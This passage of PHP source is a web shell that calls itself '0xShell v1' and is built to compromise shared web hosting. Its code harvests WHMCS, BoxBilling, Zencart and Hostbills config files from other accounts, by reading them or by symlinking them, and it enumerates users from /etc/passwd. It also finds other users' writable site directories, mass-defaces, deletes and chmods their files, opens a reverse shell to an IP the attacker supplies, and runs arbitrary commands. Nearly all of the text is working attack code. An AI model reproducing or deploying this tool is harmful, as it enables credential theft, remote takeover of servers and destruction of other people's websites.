                "/home/$user_cox/public_html/BILLING/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/Billing/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/billing/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/BUY/submitticket.php"                 => "WHMCS",
                "/home/$user_cox/public_html/Buy/submitticket.php"                 => "WHMCS",
                "/home/$user_cox/public_html/buy/submitticket.php"                 => "WHMCS",
                "/home/$user_cox/public_html/MANAGE/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/Manage/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/manage/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/CLIENTSUPPORT/submitticket.php"       => "WHMCS",
                "/home/$user_cox/public_html/ClientSupport/submitticket.php"       => "WHMCS",
                "/home/$user_cox/public_html/Clientsupport/submitticket.php"       => "WHMCS",
                "/home/$user_cox/public_html/clientsupport/submitticket.php"       => "WHMCS",
                "/home/$user_cox/public_html/CHECKOUT/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/Checkout/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/checkout/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/BILLINGS/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/Billings/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/billings/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/BASKET/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/Basket/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/basket/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/SECURE/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/Secure/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/secure/submitticket.php"              => "WHMCS",
                "/home/$user_cox/public_html/SALES/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/Sales/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/sales/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/BILL/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/Bill/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/bill/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/PURCHASE/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/Purchase/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/purchase/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/ACCOUNT/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/Account/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/account/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/USER/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/User/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/user/submitticket.php"                => "WHMCS",
                "/home/$user_cox/public_html/CLIENTS/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/Clients/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/clients/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/BILLINGS/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/Billings/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/billings/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/MY/submitticket.php"                  => "WHMCS",
                "/home/$user_cox/public_html/My/submitticket.php"                  => "WHMCS",
                "/home/$user_cox/public_html/my/submitticket.php"                  => "WHMCS",
                "/home/$user_cox/public_html/secure/whm/submitticket.php"          => "WHMCS",
                "/home/$user_cox/public_html/secure/whmcs/submitticket.php"        => "WHMCS",
                "/home/$user_cox/public_html/panel/submitticket.php"               => "WHMCS",
                "/home/$user_cox/public_html/clientes/submitticket.php"            => "WHMCS",
                "/home/$user_cox/public_html/cliente/submitticket.php"             => "WHMCS",
                "/home/$user_cox/public_html/support/order/submitticket.php"       => "WHMCS",
                "/home/$user_cox/public_html/bb-config.php"                        => "BoxBilling",
                "/home/$user_cox/public_html/boxbilling/bb-config.php"             => "BoxBilling",
                "/home/$user_cox/public_html/box/bb-config.php"                    => "BoxBilling",
                "/home/$user_cox/public_html/host/bb-config.php"                   => "BoxBilling",
                "/home/$user_cox/public_html/Host/bb-config.php"                   => "BoxBilling",
                "/home/$user_cox/public_html/supportes/bb-config.php"              => "BoxBilling",
                "/home/$user_cox/public_html/support/bb-config.php"                => "BoxBilling",
                "/home/$user_cox/public_html/hosting/bb-config.php"                => "BoxBilling",
                "/home/$user_cox/public_html/cart/bb-config.php"                   => "BoxBilling",
                "/home/$user_cox/public_html/order/bb-config.php"                  => "BoxBilling",
                "/home/$user_cox/public_html/client/bb-config.php"                 => "BoxBilling",
                "/home/$user_cox/public_html/clients/bb-config.php"                => "BoxBilling",
                "/home/$user_cox/public_html/cliente/bb-config.php"                => "BoxBilling",
                "/home/$user_cox/public_html/clientes/bb-config.php"               => "BoxBilling",
                "/home/$user_cox/public_html/billing/bb-config.php"                => "BoxBilling",
                "/home/$user_cox/public_html/billings/bb-config.php"               => "BoxBilling",
                "/home/$user_cox/public_html/my/bb-config.php"                     => "BoxBilling",
                "/home/$user_cox/public_html/secure/bb-config.php"                 => "BoxBilling",
                "/home/$user_cox/public_html/support/order/bb-config.php"          => "BoxBilling",
                "/home/$user_cox/public_html/includes/dist-configure.php"          => "Zencart",
                "/home/$user_cox/public_html/zencart/includes/dist-configure.php"  => "Zencart",
                "/home/$user_cox/public_html/products/includes/dist-configure.php" => "Zencart",
                "/home/$user_cox/public_html/cart/includes/dist-configure.php"     => "Zencart",
                "/home/$user_cox/public_html/shop/includes/dist-configure.php"     => "Zencart",
                "/home/$user_cox/public_html/includes/iso4217.php"                 => "Hostbills",
                "/home/$user_cox/public_html/hostbills/includes/iso4217.php"       => "Hostbills",
                "/home/$user_cox/public_html/host/includes/iso4217.php"            => "Hostbills",
                "/home/$user_cox/public_html/Host/includes/iso4217.php"            => "Hostbills",
                "/home/$user_cox/public_html/supportes/includes/iso4217.php"       => "Hostbills",
                "/home/$user_cox/public_html/support/includes/iso4217.php"         => "Hostbills",
                "/home/$user_cox/public_html/hosting/includes/iso4217.php"         => "Hostbills",
                "/home/$user_cox/public_html/cart/includes/iso4217.php"            => "Hostbills",
                "/home/$user_cox/public_html/order/includes/iso4217.php"           => "Hostbills",
                "/home/$user_cox/public_html/client/includes/iso4217.php"          => "Hostbills",
                "/home/$user_cox/public_html/clients/includes/iso4217.php"         => "Hostbills",
                "/home/$user_cox/public_html/cliente/includes/iso4217.php"         => "Hostbills",
                "/home/$user_cox/public_html/clientes/includes/iso4217.php"        => "Hostbills",
                "/home/$user_cox/public_html/billing/includes/iso4217.php"         => "Hostbills",
                "/home/$user_cox/public_html/billings/includes/iso4217.php"        => "Hostbills",
                "/home/$user_cox/public_html/my/includes/iso4217.php"              => "Hostbills",
                "/home/$user_cox/public_html/secure/includes/iso4217.php"          => "Hostbills",
                "/home/$user_cox/public_html/support/order/includes/iso4217.php"   => "Hostbills",
            );

            foreach ($grab_config as $config => $nama_config) {
                if ($_POST['tipe'] == 'grab') {
                    $ambil_config = file_get_contents($config);
                    if ($ambil_config == '') {
                    } else {
                        $file_config = fopen("0xgrab/$user_cox-$nama_config.txt", "w");
                        fputs($file_config, $ambil_config);
                    }
                }
                if ($_POST['tipe'] == 'grabsym') {
                    @symlink($config, "0xsym/" . $user_cox . "-" . $nama_config . ".txt");
                }
                if ($_POST['tipe'] == 'grabsym404') {
                    $sym404 = symlink($config, "0xsym404/" . $user_cox . "-" . $nama_config . ".txt");
                    if ($sym404) {
                        @mkdir("0xsym404/" . $user_cox . "-" . $nama_config . ".txt404", 0777);
                        $xsym404 = "Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
HeaderName 0x.txt
Satisfy Any
IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
IndexIgnore *
IndexStyleSheet 'https://0x1999.github.io/0xShell/style/melex.css'";

                        @file_put_contents("0xsym404/" . $user_cox . "-" . $nama_config . ".txt404/.htaccess", $xsym404);

                        @symlink($config, "0xsym404/" . $user_cox . "-" . $nama_config . ".txt404/0x.txt");

                    }

                }

            }
        }if ($_POST['tipe'] == 'grab') {
            echo "<center><a href='?dir=$dir/0xgrab'><font color=lime>Done</font></a></center>";
        }
        if ($_POST['tipe'] == 'grabsym404') {
            echo "<center>
<a href=\"0xsym404/root/\">Root Server</a>
<br><a href=\"0xsym404/\">Configurations</a></center>";
        }
        if ($_POST['tipe'] == 'grabsym') {
            echo "<center>
<a href=\"0xsym/root/\">Root Server</a>
<br><a href=\"0xsym/\">Configurations</a></center>";
        }if ($_POST['tipe'] == 'grabsymv') {
            echo "<center>
<a href=\"0xsymv/root/\">Root Server</a>
<br><a href=\"0xsymv/\">Configurations</a></center>";
        }

    } else {
        echo "<form method=\"post\" action=\"\"><center>
        <select class=\"select\" name=\"tipe\"  style=\"width: 450px;\" height=\"10\">
        <option value=\"grab\">Config Grab</option>
        <option value=\"grabsym\">Symlink Config</option>
		<option value=\"grabsym404\">Symlink Config 404</option>
		<option value=\"grabsymv\">VHosts Symlink Config</option>
		</center></select>
		<br>\n";
        if (!$etcpasswd) {
            echo "<textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
            for ($uid = 0; $uid < 60000; $uid++) {
                $ara = posix_getpwuid($uid);
                if (!empty($ara)) {
                    while (list($key, $val) = each($ara)) {
                        print "$val:";
                    }
                    print "\n";
                }
            }
            echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
        } else {
            echo "<textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
            echo $etcpasswd;
            echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";

        }
    }

} elseif (isset($_GET['do']) && ($_GET['do'] == 'cekjum')) {
    echo '<form method="post" action="" style="float: left;">
    Dir :
    <input size="30" name="cekjum" height="10" type="text"><input name="submit" value=">>" type="submit">
    </form><br><br>';
    if ($_POST) {
        echo cekjum($_REQUEST['cekjum']);
    } else {
        echo cekjum($_GET['cekjum']);
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'jump')) {
    $i = 0;
    echo "<pre><div class='margin: 5px auto;'>";
    $etc = $etcpasswd;

    if (!$etc) {
        echo "<font color=red>Can't read /etc/passwd</font>";
    } else {
        preg_match_all('/(.*?):x:/', $etc, $user_jumping);
        foreach ($user_jumping[1] as $userjum) {
            $userjumdir = "/home/$userjum/public_html";
            $perm       = permissions($userjumdir);
            $perm       = w($userjumdir, $perm);

            if (is_readable($userjumdir)) {
                $i++;
                $jrw = "<a>[<font color=lime>R</font>]  [$perm] </a><a href='?dir=$userjumdir'><font color=gold>$userjumdir</font></a> <a href='?do=cekjum&cekjum=$userjumdir' target='_blank'>Check</a><br>";
                if (is_writable($userjumdir)) {
                    $jrw = "<a>[<font color=lime>RW</font>] [$perm] </a><a href='?dir=$userjumdir'><font color=gold>$userjumdir</font></a> <a href='?do=cekjum&cekjum=$userjumdir' target='_blank'>Check</a><br>";
                }
                echo $jrw;
            }
        }
    }
    if ($i == 0) {
    } else {
        echo "<br>Total ada " . $i . " Kimcil di " . gethostbyname($_SERVER['HTTP_HOST']) . "";
    }
    echo "</div></pre>";
} elseif (isset($_GET['do']) && ($_GET['do'] == 'setting')) {
    echo "<center>
    <h1>Manual Setting Area</h1>
    <form method='post'>
    <br><input type='submit' value='RESET ALL' name='reset'><br>
    etc/passwd<br>
    <textarea style='background:black;outline:none;' name='etcpasswd' rows='10' cols='67'>$etcpasswd</textarea>
    <input type='submit' value='Save'>
    <br>etc/trueuserowners<br>
    <textarea style='background:black;outline:none;' name='etctrueuserowners' rows='10' cols='67'>$etctrueuserowners</textarea>
    <input type='submit' value='Save'>
    <br>etc/named.conf<br>
    <textarea style='background:black;outline:none;' name='etcnamedconf' rows='10' cols='67'></textarea>
    <input type='submit' value='Save'>
    <br>configlist<br>
    <textarea style='background:black;outline:none;' name='configlist' rows='10' cols='67'></textarea>
    <br><input type='submit' value='Save'>
    </form></center>";
    // $etctrueuserowners
    if ($_POST['etcpasswd']) {
        $_SESSION['etcpasswd'] = $_POST['etcpasswd'];
    }
    if ($_POST['etctrueuserowners']) {
        $_SESSION['etctrueuserowners'] = $_POST['etctrueuserowners'];
    }
    if ($_POST['etcnamedconf']) {
        $_SESSION['etcnamedconf'] = $_POST['etcnamedconf'];
    }
    if ($_POST['configlist']) {
        $_SESSION['configlist'] = $_POST['configlist'];
    }
    if ($_POST['reset']) {
        unset($_SESSION['etctrueuserowners']);
        unset($_SESSION['etcpasswd']);
        unset($_SESSION['etcnamedconf']);
        unset($_SESSION['configlist']);
    }

} elseif (isset($_GET['do']) && ($_GET['do'] == 'mass_deface')) {
    echo "<center><form action=\"\" method=\"post\">\n";
    $dirr  = $_POST['d_dir'];
    $index = $_POST["script"];
    $index = str_replace('"', "'", $index);
    $index = stripslashes($index);
    function edit_file($file, $index)
    {
        if (is_writable($file)) {
            clear_fill($file, $index);
            echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
        } else {
            echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
        }
    }
    function hapus_massal($dir, $namafile)
    {
        if (is_writable($dir)) {
            $dira = scandir($dir);
            foreach ($dira as $dirb) {
                $dirc   = "$dir/$dirb";
                $lokasi = $dirc . '/' . $namafile;
                if ($dirb === '.') {
                    if (file_exists("$dir/$namafile")) {
                        unlink("$dir/$namafile");
                    }
                } elseif ($dirb === '..') {
                    if (file_exists("" . dirname($dir) . "/$namafile")) {
                        unlink("" . dirname($dir) . "/$namafile");
                    }
                } else {
                    if (is_dir($dirc)) {
                        if (is_writable($dirc)) {
                            if (file_exists($lokasi)) {
                                echo "[<font color=lime>DELETED</font>] $lokasi<br>";
                                unlink($lokasi);
                                $idx = hapus_massal($dirc, $namafile);
                            }
                        }
                    }
                }
            }
        }
    }
    function clear_fill($file, $index)
    {
        if (file_exists($file)) {
            $handle = fopen($file, 'w');
            fwrite($handle, '');
            fwrite($handle, $index);
            fclose($handle);}}

    function gass()
    {
        global $dirr, $index;
        chdir($dirr);
        $me       = str_replace(dirname(__FILE__) . '/', '', __FILE__);
        $files    = scandir($dirr);
        $notallow = array(".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "..", ".");
        sort($files);
        $n = 0;
        foreach ($files as $file) {
            if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {
                echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
                edit_file($file, $index);
                flush();
                $n = $n + 1;
            }
        }
        echo "<br>";
        echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
    }
    function ListFiles($dirrall)
    {

        if ($dh = opendir($dirrall)) {

            $files       = array();
            $inner_files = array();
            $me          = str_replace(dirname(__FILE__) . '/', '', __FILE__);
            $notallow    = array($me, ".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "Thumbs.db");
            while ($file = readdir($dh)) {
                if ($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow)) {
                    if (is_dir($dirrall . "/" . $file)) {
                        $inner_files = ListFiles($dirrall . "/" . $file);
                        if (is_array($inner_files)) {
                            $files = array_merge($files, $inner_files);
                        }

                    } else {
                        array_push($files, $dirrall . "/" . $file);
                    }
                }
            }

            closedir($dh);
            return $files;
        }
    }
    function gass_all()
    {
        global $index;
        $dirrall = $_POST['d_dir'];
        foreach (ListFiles($dirrall) as $key => $file) {
            $file = str_replace('//', "/", $file);
            echo "<center><strong>$file</strong> ===>";
            edit_file($file, $index);
            flush();
        }
        $key = $key + 1;
        echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>";}
    function chmod_all()
    {
        $chmod   = $_POST['chmod'];
        $dirrall = $_POST['d_dir'];
        foreach (ListFiles($dirrall) as $key => $file) {
            $file = str_replace('//', "/", $file);
            echo "<center><strong>$file</strong> ===>";
            chmod($file, $chmod);
            flush();
        }
        $key = $key + 1;
        echo "<center><br><h3>$key telah ngentu chmod disini</h3></center><br>";}
    function sabun_massal($dir, $namafile, $isi_script)
    {
        if (is_writable($dir)) {
            $dira = scandir($dir);
            foreach ($dira as $dirb) {
                $dirc   = "$dir/$dirb";
                $lokasi = $dirc . '/' . $namafile;
                if ($dirb === '.') {
                    file_put_contents($lokasi, $isi_script);
                } elseif ($dirb === '..') {
                    file_put_contents($lokasi, $isi_script);
                } else {
                    if (is_dir($dirc)) {
                        if (is_writable($dirc)) {
                            echo "[<font color=lime>DONE</font>] $lokasi<br>";
                            file_put_contents($lokasi, $isi_script);
                            $idx = sabun_massal($dirc, $namafile, $isi_script);
                        }
                    }
                }
            }
        }
    }
    if ($_POST['mass'] == 'onedir') {
        echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
        $ini      = "http://";
        $mainpath = $_POST[d_dir];
        $dir      = opendir("$mainpath");
        $code     = base64_encode($_POST[script]);
        $indx     = base64_decode($code);
        while ($row = readdir($dir)) {
        	if($_POST["random_name"]){
    	   		$file     = rand(1000000,9999999)."7".$_POST[d_file];
	        }else{
		        $file     = $_POST[d_file];
	        }
            $start  = @fopen("$row/$file", "w+");
            $finish = @fwrite($start, $indx);
            if ($finish) {
                echo "$ini$row/$file\n";
            }
        }
        echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
        $mainpath = $_POST[d_dir];
		$dir      = opendir("$mainpath");
        $code     = base64_encode($_POST[script]);
        $indx     = base64_decode($code);
        while ($row = readdir($dir)) {
        	if($_POST["random_name"]){
    	    	$file     = $_POST[d_file]."7".rand(1000000,9999999);
	        }else{
		        $file     = $_POST[d_file];
	        }
            $start  = @fopen("$row/$file", "w+");
            $finish = @fwrite($start, $indx);
            if ($finish) {echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>';}
        }

    } elseif ($_POST['mass'] == 'sabunkabeh') {gass();} elseif ($_POST['mass'] == 'hapusmassal') {hapus_massal($_POST['d_dir'], $_POST['d_file']);} elseif ($_POST['mass'] == 'sabunmematikan') {gass_all();} elseif ($_POST['mass'] == 'chmodkabeh') {chmod_all();} elseif ($_POST['mass'] == 'massdeface') {
        echo "<div style='margin: 5px auto; padding: 5px'>";
        sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
        echo "</div>";} else {
        echo "
        <center><font style='text-decoration: underline;'>
        Select Type:<br>
        </font>
        <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
        <option value=\"onedir\">Mass Deface 1 Dir</option>
        <option value=\"massdeface\">Mass Deface ALL Dir</option>
        <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
        <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
        <option value=\"chmodkabeh\">Chmod Massal</option>
        <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
        <font style='text-decoration: underline;'>Folder:</font><br>
        <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
        <font style='text-decoration: underline;'>Filename:</font><br>
        <input type='text' name='d_file' value='0x.php' style='width: 450px;' height='10'><input type='checkbox' name='random_name' value='random name'><br>
        <font style='text-decoration: underline;'>Index File:</font><br>
        <textarea name='script' style='width: 450px; height: 200px;'>Hacked By 0x1999</textarea><br>
        <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
        </form></center>";
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'bc')) {
    echo '
  <div id="back">
            <h2>Back Connect</h2>
            <p>Back connect will allow you to enter system commands remotely.</p>
            <p>
            <table>
				<form action="" method="post">
				<tr ><td>IP Address: </td><td><input type="textbox" name="ip" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
				<tr ><td>Port: </td><td><input type="textbox" name="port" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
				<tr ><td><input type="submit" name="bind" value="Open Connection" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
				</form>
				</table>';
    if (isset($_POST['bind'])) {
        echo "<p>Attempting Connection...</p>";
        $ip     = $_POST['ip'];
        $port   = $_POST['port'];
        $sockfd = fsockopen($ip, $port, $errno, $errstr);
        if ($errno != 0) {
            echo "<font color='red'>$errno : $errstr</font>";
        } else if (!$sockfd) {
            $result = "<p>Unexpected error has occured, connection may have failed.</p>";
        } else {
            fputs($sockfd, "
                \n{################################################################}
                \n..:: 0xShell v1 - Coded By 0x1999 ::..
                \n
                \n=> Backconnect
                \n=> Back
                \n
                \n{################################################################}\n\n");
            $dir     = shell_exec("pwd");
            $sysinfo = shell_exec("uname -a");
            $time    = Shell_exec("time");
            $len     = 1337;
            fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n");
            while (!feof($sockfd)) {
                $cmdPrompt = '[0x]#:> ';
                fputs($sockfd, $cmdPrompt);
                $command = fgets($sockfd, $len);
                fputs($sockfd, "\n" . shell_exec($command) . "\n\n");
            }
            fclose($sockfd);
        }
    }
    echo "</p></div>";

} elseif (isset($_GET['act']) && ($_GET['act'] == 'edit')) {

    if (isset($_POST['save'])) {
        $file    = $_POST['saveas'];
        $content = magicboom($_POST['content']);
        if ($filez = @fopen($file, "w")) {
            $time = date("d-M-Y H:i", time());
            if (@fwrite($filez, $content)) {
                $msg = "file saved <span class=\"gaya\">@</span> " . $time;
            } else {
                $msg = "failed to save";
            }

            @fclose($filez);
        } else {
            $msg = "permission denied";
        }

    }
    if (!isset($file)) {
        $file = $_GET['file'];
    }

    if ($filez = @fopen($file, "r")) {
        $content = "";
        while (!feof($filez)) {
            $content .= htmlentities(str_replace("''", "'", fgets($filez)));
        }
        @fclose($filez);
    }
    ?>
		<form action="" method="post">
			<table class="cmdbox">
				<tr>
					<td colspan="2">
						<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
						<tr>
							<td colspan="2">Save as <input id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;
								<?php echo $msg; ?>
							</td>
						</tr>
			</table>
		</form>
		<?php
} elseif (isset($_GET['do']) && ($_GET['do'] == 'serverinfo')) {

    $s_safemode = ini_get("safe_mode");
    if ($s_safemode = true) {$s_safemode = "<span class='enabled'>[ON";} else { $s_safemode = "<span class='disabled'>[OFF";}
    if (extension_loaded('curl')) {$curls = "<span class='enabled'>[ON]</span>";} else { $curls = "<span class='disabled'>[OFF]</span>";}
    echo "Server Port: " . $_SERVER['SERVER_PORT'] . "<br /><br />HTTP Connection: " . $_SERVER['HTTP_CONNECTION'] . "<br /><br />Operating System: " . php_uname() . "<br /><br />";
    if (get_magic_quotes_gpc()) {echo "Magic Quotes: <span class='enabled'>[ENABLED]</span><br /><br />";} else {echo "Magic Quotes: <span class='disabled'>[DISABLED]</span><br /><br />";}
    echo "PHP Version: " . phpversion() . "<br /><br />Safe Mode: " . $s_safemode . "]</span><br /><br />Curl: " . $curls . "<br /><br />Accept Encoding:  " . $_SERVER['HTTP_ACCEPT_ENCODING'] . "<br /><br />Admin: " . $_SERVER['SERVER_ADMIN'] . "<br /><br /><strong>Disabled Functions: </strong>";
    if (!empty($disabled)) {
        foreach ($disabled as $functionsdis) {
            echo $functionsdis . ", ";
        }
    } else {
        echo "none";
    }
    echo "<br /><br /><strong>/etc/passwd: </strong>";
    if (is_readable("/home/etc/passwd")) {
        echo "<span style='color:green;'>Readable</span>";
    } else {
        echo "<span style='color:red;'>Unreadable</span>";
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'cmd')) {
    if ($_POST['do_cmd']) {
        echo "<textarea class='area' rows='15' cols='60'>" . exe($_POST['cmd']) . "</textarea>";
    }
} elseif (isset($_GET['do']) && ($_GET['do'] == 'about')) {

    echo "
		<h4>Information</h4>
		<p>$shell_name v$shell_version Ngelu Edition - coded by 0x1999.</p>";

    ?>
			<ul>
				<li>Appearance C6 Shell.</li>
				<li>File Manager By IndoXploit.</li>
				<li>Thanks.</li>
			</ul>
			<br /><br />
			<?php
} else {
    function GetFileSize($file)
    {
        if (!is_dir($file)) {
            return round(filesize($file) / 1024, 2) . " Kb";
        } else {
            return "Not Availible";
        }

    }

    function LastModified($file)
    {
        return date("F d Y g:i:s", filemtime("$file"));}

////////////

    if (is_dir($dir) == true) {
        echo '<table  cellspacing="0" cellpadding="0"><tr><td class="TableHeader_Name"> FileName</td><td class="TableHeader">Filetype</a></td><td class="TableHeader">Size</td><td class="TableHeader">Permisions</td><td class="TableLast">Last Modified</td><td class="TableHeaderoptions"> Options</td></tr>';
        $scandir = scandir($dir);
        foreach ($scandir as $dirx) {
            $dtype = @filetype("$dir/$dirx");
            $dtime = date("F d Y g:i:s", @filemtime("$dir/$dirx"));
            if (!is_dir("$dir/$dirx")) {
                continue;
            }

            if ($dirx === '..') {
                $href = dirname($dir);
            } elseif ($dirx === '.') {
                $href = $dir;
            } else {
                $href = $dir . '/' . $dirx;
            }
            if ($dirx == '.') {
                $act_dir = "<span id=\"titik1\">
			<a href='?act=edit&dir=$dir&file=$dir/newfile.php'>newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
			<form action=\"?act=newfolder&dir=$dir\" method=\"post\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">

			<input class=\"inputz\" style=\"width:130px;\" type=\"text\" name=\"newfolder\" placeholder=\"new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"new_save_folder\" style=\"width:35px;\" value=\"Go !\" />
			</form>";
            } elseif ($dirx == '..') {
                $act_dir = "<span id=\"titik2\"><a href='?act=edit&dir=$dir&file=$dir/newfile.php'>newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
			<form action=\"?act=newfolder&dir=$dir\" method=\"post\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">

			<input class=\"inputz\" style=\"width:130px;\" type=\"text\" name=\"newfolder\" placeholder=\"new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"new_save_folder\" style=\"width:35px;\" value=\"Go !\" />
			</form>";
            } else {
                $act_dir = "<a href=\"javascript:tukar('" . clearspace($dirx) . "_link','" . clearspace($dirx) . "_form');\">rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
            }
            echo "<tr class='filetr'>";
            echo "<td class='td_home'><a id=\"" . clearspace($dirx) . "_link\"  href='?dir=" . $href . "'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC'>  $dirx</a>



<form method=\"post\" id=\"" . clearspace($dirx) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"oldname\" value=\"" . $dirx . "\" style=\"margin:0;padding:0;\" />
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"fol_rename\" value=\"" . $dirx . "\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"dir_rename\" value=\"rename\" />
			<input class=\"inputzbut\" type=\"button\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($dirx) . "_form','" . clearspace($dirx) . "_link');\" />
			</form>




			</td>



			";
            echo "<td class='td_home'><center>$dtype</center></td>";
            echo "<td class='td_home'><center>-</center></th>";
            echo "<td class='td_home'><center>" . w("$dir/$dirx", permissions("$dir/$dirx")) . "</center></td>";
            echo "<td class='td_home'>$dtime</td>";
            echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
        }
        echo "</tr>";
        foreach ($scandir as $file) {
            $ftype = filetype("$dir/$file");
            $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
            $size  = filesize("$dir/$file") / 1024;
            $size  = round($size, 3);
